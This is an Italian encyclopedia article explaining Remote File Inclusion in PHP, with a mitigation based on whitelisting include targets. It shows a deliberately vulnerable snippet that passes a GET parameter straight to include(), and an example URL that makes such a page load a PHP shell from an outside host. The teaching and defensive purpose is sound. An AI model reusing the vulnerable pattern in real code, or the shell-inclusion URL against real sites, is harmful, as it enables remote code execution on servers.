Remote File Inclusion

Da Wikipedia, l'enciclopedia libera.

Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità che affligge i servizi web con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili GET e POST del PHP. La vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata.

Codice vulnerabile[modifica | modifica sorgente]

Questo è un semplice esempio di un codice vulnerabile:

  <?php 
  $var = $_GET['var']; 
  include ($var);
  ?>

con una conoscenza anche limitata del PHP è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'URL) a piacere si può vedere in azione il bug.

http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it

in questo caso la variabile var assume il valore dell'URL immesso e nella pagina sarà inclusa la index di miositoincluso.it

Come funziona l'attacco[modifica | modifica sorgente]

Se c'è la possibilità di un'inclusione arbitrale di codice PHP un cracker può includere una shell in PHP

http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt

da notare che la pagina da includere non deve essere in PHP (perché altrimenti viene incluso solo l'output HTML generato della pagina e non il codice vero e proprio).

Come difendersi[modifica | modifica sorgente]

In genere quando si deve includere una pagina esterna nella propria applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine, e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.

http://miosito.it/index.php?var=1

poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito. Esempio:

<?php
 $var = $_GET['var'];
 if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
 elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
 else die('tentativo di intrusione');
?>